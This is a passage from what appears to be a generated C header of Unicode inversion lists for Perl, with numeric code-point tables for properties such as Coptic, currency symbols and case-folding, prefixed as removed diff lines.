0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -static const UV PL_CO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE000, - 0xF900, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -static const UV PL_COMPATJAMO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3130, - 0x3190 -}; - -static const UV PL_COMPEX_invlist[] = { /* for all charsets */ - 147, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBE, - 0x1FBF, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FEE, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -static const UV PL_CONTROLPICTURES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2400, - 0x2440 -}; - -static const UV PL_COPT_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3E2, - 0x3F0, - 0x2C80, - 0x2CF4, - 0x2CF9, - 0x2D00, - 0x102E0, - 0x102FC -}; - -static const UV PL_COPTICEPACTNUMBERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x102E0, - 0x10300 -}; - -static const UV PL_COUNTINGROD_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D360, - 0x1D380 -}; - -static const UV PL_CPRT_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840 -}; - -static const UV PL_CUNEIFORMNUMBERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12400, - 0x12480 -}; - -static const UV PL_CURRENCYSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20A0, - 0x20D0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWCF_invlist[] = { /* for ASCII/Latin1 */ - 1207, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xE0, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D2, - 0x3D5, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F80, - 0x1FB0, - 0x1FB2, - 0x1FB5, - 0x1FB7, - 0x1FBD, - 0x1FC2, - 0x1FC5, - 0x1FC7, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF7, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWCF_invlist[] = { /* for EBCDIC 1047 */ - 1227, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 